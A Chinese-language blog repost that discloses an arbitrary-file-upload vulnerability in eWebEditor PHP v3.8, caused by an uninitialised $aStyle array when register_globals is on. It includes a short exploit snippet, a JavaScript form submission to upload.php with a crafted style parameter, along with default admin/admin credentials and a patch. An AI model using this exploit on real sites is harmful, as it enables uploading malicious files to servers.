大家好,又见面了,我是你们的朋友全栈君。
此漏洞仅测试了最新版v3.8,不知道低版本是否存在此漏洞。PHP版本的ewebeditor并没有使用数据库来保存配置信息,所有信息位于php/config.php中,代码如下:
$sUsername = “admin”;
$sPassword = “admin”;[separator]
$aStyle[1] = “gray|||gray|||office|||../uploadfile/|||550|||350|||rar|zip|exe|doc|xls|chm|hlp|||swf|||gif|jpg|jpeg|bmp|||rm|mp3|wav|mid|midi|ra|avi|mpg|mpeg|asf|asx|wma|mov|||gif|jpg|jpeg|bmp|||500|||100|||100|||100|||100|||1|||1|||EDIT|||1|||0|||0|||||||||1|||0|||Office标准风格,部分常用按钮,标准适合界面宽度|||1|||zh-cn|||0|||500|||300|||0|||版权所有…|||FF0000|||12|||宋体||||||0|||jpg|jpeg|||300|||FFFFFF|||1|||1”;
……..
它将所有的风格配置信息保存为一个数组$aStyle,在register_global为on的情况下我们可以任意添加自己喜欢的风格,然后就可以在自己添加的风格中可以随意定义可上传文件类型。
这漏洞成因很简单,下面给个exp
URL:
file:
function fsubmit(){
form = document.forms[0];
form.action = form.url.value+’php/upload.php?action=save&type=FILE&style=toby57&language=en’;
alert(form.action);
form.submit();
}
漏洞修补方法:
初始化数组$aStyle
$sUsername = “admin”;
$sPassword = “admin”;
$aStyle = array();
$aStyle[1] = “gray|||gray|||office|||../uploadfile/|||550|||350|||rar|zip|exe|doc|xls|chm|hlp|||swf|||gif|jpg|jpeg|bmp|||rm|mp3|wav|mid|midi|ra|avi|mpg|mpeg|asf|asx|wma|mov|||gif|jpg|jpeg|bmp|||500|||100|||100|||100|||100|||1|||1|||EDIT|||1|||0|||0|||||||||1|||0|||Office标准风格,部分常用按钮,标准适合界面宽度|||1|||zh-cn|||0|||500|||300|||0|||版权所有…|||FF0000|||12|||宋体||||||0|||jpg|jpeg|||300|||FFFFFF|||1|||1”;
本文由站长原创或收集,不代表本站立场,如若转载,请注明出处:http://www.yesck.com/post/33/
发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/159083.html原文链接:https://javaforall.cn